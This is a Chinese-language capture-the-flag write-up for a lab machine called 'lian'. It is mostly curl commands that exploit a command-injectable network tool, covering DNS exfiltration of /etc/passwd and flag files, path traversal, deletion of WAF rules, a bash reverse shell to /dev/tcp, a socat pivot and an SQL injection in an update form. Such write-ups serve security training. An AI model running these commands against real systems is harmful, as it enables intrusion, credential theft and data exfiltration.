文章总结: 本文为CTF实战记录,通过DNS外带读取文件获取Flag1,利用路径穿越读取源码、删除WAF规则、RCE反弹shell、内网穿透及SQL注入提权获取Flag2。文章提供详细操作命令与排错建议,对渗透测试实战具有较高参考价值。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,漏洞分析,代码审计
MazeSec-lian
原创
識. 識.
0xNyx
2026年9月30日 20:52 安徽
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Flag 1:userFLAG(DNS 外带,不需要 shell)
原理:dig -f <文件> 会把文件每一行当成一个 DNS 查询名发出去。靶机往你的 IP 发查询,你抓包就能拿到文件内容。
nmap扫描发现暴露80,22端口
访问80端口
查看状态码301,有访问条件,细看响应发现需要host
依旧dirsearch起手
本来打算通过浏览器访问后下载log,折腾半天没成功,希望有大佬教我
ai小子只能用curl手敲命令
这还说啥了
cat一手
这还说啥了
grep一手
这还说啥了
参数格式白送给你了。 日志里作者自己的调用记录
先确认要不要登录
进行信息整理
未授权可达: / /logs/access.log /logs/error.log /conf/ /style.css /.htaccessOLD(疑似)
需登录: /index.php /dashboard.php /logs.php /status.php /net.php
异常点: /auth.php 200 但 0 字节
下一步
先用个小文件验证通路
curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/etc/hostname+@$MYIP” -o /dev/null
sleep 2; cat exfil.txt
有内容 → 通路 OK。然后按顺序来:
3. 读 /etc/passwd,找普通用户
curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/etc/passwd+@$MYIP” -o /dev/null
sleep 5; grep -v ‘^$’ exfil.txt
4. 按 WP,用户是 yulian007,直接读 flag
curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/home/yulian007/userFLAG+@$MYIP” -o /dev/null
sleep 5; cat exfil.txt
卡住的话:
- 用
hostname -I看是不是有多个网卡,换那个跟靶机同网段的试试;或者直接在靶机 VM 里跑接收端 - dig 等很久 →
target里加+time=1+tries=1:-f /etc/passwd +time=1 +tries=1 @$MYIP - 报被拦 → 先往下走,第 2 步删了 WAF 再回来
Flag 2:Root(要 RCE → 内网 → 提权)
2.1 路径穿越,先读源码确认
curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//index.php” | head -40
str_replace('../','')只替换一轮,....// 去掉中间那层后剩下的正好又是 ../ —— 确认能读到就继续。
2.2 删掉 WAF 规则
先备份看一眼
curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules” -o waf.bak
curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules”
curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules” | head -5
2.3 RCE + 反弹 shell
Kali 这边先开监听:
nc -lvnp 4444
另一个终端触发:
MYIP=$(hostname -I | awk ‘{print $1}’)
curl-s-bcookies.txt”http://lian.dsz/net.php?tool=ping&target=;bash+-c+’bash+-i+>&+/dev/tcp/$MYIP/4444+0>&1′”
2.4 穿透内网 8080(在靶机上跑,不是 Kali)
cd /opt/perma-app
./socat TCP-LISTEN:9999,fork,reuseaddr TCP:127.0.0.1:8080
socat 报错就 which socat 看有没有;没有就 apt install socat。
Kali 这边验证:
curl -s http://10.17.113.91:9999/ | head -40
2.5 找到 root 凭据
先扫出哪些用户真实存在:
for i in $(seq 1 10000); do
r=$(curl -s “http://10.17.113.91:9999/user/$i/edit”)
echo “$r” | grep -q ‘name=’ && echo “$i: $(echo “$r” | grep -oE ‘value=”[^”]*”‘ | tr ‘\n’ ‘ ‘)”
done | grep -v ‘value=””‘
直接:
curl -shttp://10.17.113.91:9999/user/6666/edit
UPDATE 注入(注意那个, email=的闭合手法):
*curl -s -X POST “http://10.17.113.91:9999/user/6666/update”*
-d “name=PWNED_BY_SQLI’, email=’p@x” -d “[email protected]”
执行顺序提醒: Flag 1 不用删 WAF,先把它拿下;Flag 2 才需要 2.2 那步。别一上来就sed -i删规则,先curl存一份,不然删完你都不知道刚才被什么挡着。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xNyx 識. 識.《MazeSec-lian》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论